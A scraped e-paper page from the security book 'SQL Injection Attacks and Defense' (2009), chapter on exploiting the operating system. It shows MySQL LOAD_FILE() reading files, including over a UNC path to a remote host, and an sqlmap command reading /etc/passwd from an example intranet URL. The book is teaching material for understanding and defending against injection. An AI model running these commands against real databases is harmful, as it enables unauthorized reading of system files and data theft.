28.10.2014 Views

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SHOW MORE
SHOW LESS

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

280 Chapter 6 • Exploiting the Operating System<br />

Figure 6.4 Reading Binary Files<br />

You can use the substring function to split this, effectively obtaining chunks of the<br />

binary file at a time to overcome limitations that the application might impose.<br />

LOAD_FILE( ) also accepts Universal Naming Convention (UNC) paths, which allows<br />

an enterprising attacker to search for files on other machines, or even to cause the My<strong>SQL</strong><br />

server to connect back to his own machine:<br />

mysql> select load_file('//172.16.125.2/temp_smb/test.txt');<br />

+-----------------------------------------------+<br />

| load_file('//172.16.125.2/temp_smb/test.txt') |<br />

+-----------------------------------------------+<br />

| This is a file on a server far far away.. |<br />

+-----------------------------------------------+<br />

1 row in set (0.52 sec)<br />

The sqlmap tool by Bernardo Damele A. G. (http://sqlmap.sourceforge.net) offers this<br />

functionality through the --read-file comm<strong>and</strong>-line option:<br />

python sqlmap.py -u "http://intranet/cgi-bin/customer.pl?Submit=Submit&term=a"<br />

--read-file /etc/passwd<br />

Microsoft <strong>SQL</strong> Server<br />

Microsoft <strong>SQL</strong> Server is one of the flagship products of the Microsoft Security<br />

Development Lifecycle (SDL) process, but it still has a well-deserved bad rap with regard

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!